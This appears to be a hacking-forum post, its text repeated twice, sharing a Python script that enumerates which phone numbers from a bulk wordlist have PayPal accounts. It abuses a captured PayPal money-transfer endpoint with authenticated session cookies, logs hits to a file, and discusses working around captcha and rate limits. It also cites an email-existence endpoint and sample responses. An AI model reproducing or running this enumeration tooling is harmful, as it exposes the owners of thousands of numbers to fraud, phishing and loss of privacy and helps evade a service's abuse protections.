OP 04 January, 2022 - 10:54 AM
(This post was last modified: 04 January, 2022 - 10:56 AM by muhammadali999. Edited 1 time in total.)
Following api is used for checking email:
But I didn't get any proper api for phone number validation. Currently, I'm using an hack that invites a person via phone number. Invalid phone number returns with json data that includes [recipientId] key is empty. For valid, it return some hash length 13 like `MKWCCUXWRVASE`.
I captured this api from `network` tab in firefox.
Here's my code:
import requests, json, time
Country_Code = "92" # Pakistan country code
wordlist = "numbers.txt"
url = "https://www.paypal.com/myaccount/transfe...ipient=%2B" + Country_Code + "%20"
headers = {"Accept":"application/json", "Cookie":"Cookie: ts=..."} # Cookies must be authenticated
with open(wordlist) as lines:
for number in lines:
number = number.strip()
while True:
text = requests.get(url + number, headers=headers()).text
data = json.loads(text)
if "htmlResponse" in data:
input("Please solve capcha")
continue
hash = data["data"]["recipientDetails"]["recipientId"]
if hash is None:
print(number)
else:
print("FOUND:" + number)
open("valid.txt","a").write(number + ":" + hash + "\n")
time.sleep(3)
break
# Message for staff: It took too long for code syntax highlighting. Its for readers ease. Please support such feature.
# Use prism or rainbow
If number is VALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+91 xxxxxxxxxx",
"token": "PP-P42S84634M3922825H",
"recipientId": "MKWCCUXWRVASE",
...
If number is INVALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+92 xxxxxxxxxx",
"token": "PP-P3B982940TG386220S",
"recipientId": null,
...
But this method is between manual and automatic way and has limitations:
- need authenticated cookies
- have to solve google recapcha (both v2,v3) manually on website
- recapcha frequency and toughness increases with increase in time with respect to number of requests/sec
- even after googl recapcha v3, it blocks for around 10 min
Actually, I have thousands of phone numbers. Google/telegram/flipkart contacts api allows to get info from a number.
![[Image: dark-prince.jpg]](https://i.ibb.co/pPSz2d6/dark-prince.jpg)
I'm Masoom Shetaan (innocent evil). Both are opposites. It just depend upon challenge I have been assigned.
Code:
https://www.paypal.com/welcome/rest/v1/emailExists
I captured this api from `network` tab in firefox.
Here's my code:
import requests, json, time
Country_Code = "92" # Pakistan country code
wordlist = "numbers.txt"
url = "https://www.paypal.com/myaccount/transfe...ipient=%2B" + Country_Code + "%20"
headers = {"Accept":"application/json", "Cookie":"Cookie: ts=..."} # Cookies must be authenticated
with open(wordlist) as lines:
for number in lines:
number = number.strip()
while True:
text = requests.get(url + number, headers=headers()).text
data = json.loads(text)
if "htmlResponse" in data:
input("Please solve capcha")
continue
hash = data["data"]["recipientDetails"]["recipientId"]
if hash is None:
print(number)
else:
print("FOUND:" + number)
open("valid.txt","a").write(number + ":" + hash + "\n")
time.sleep(3)
break
# Message for staff: It took too long for code syntax highlighting. Its for readers ease. Please support such feature.
# Use prism or rainbow
If number is VALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+91 xxxxxxxxxx",
"token": "PP-P42S84634M3922825H",
"recipientId": "MKWCCUXWRVASE",
...
If number is INVALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+92 xxxxxxxxxx",
"token": "PP-P3B982940TG386220S",
"recipientId": null,
...
But this method is between manual and automatic way and has limitations:
- need authenticated cookies
- have to solve google recapcha (both v2,v3) manually on website
- recapcha frequency and toughness increases with increase in time with respect to number of requests/sec
- even after googl recapcha v3, it blocks for around 10 min
Actually, I have thousands of phone numbers. Google/telegram/flipkart contacts api allows to get info from a number.
![[Image: dark-prince.jpg]](https://i.ibb.co/pPSz2d6/dark-prince.jpg)
I'm Masoom Shetaan (innocent evil). Both are opposites. It just depend upon challenge I have been assigned.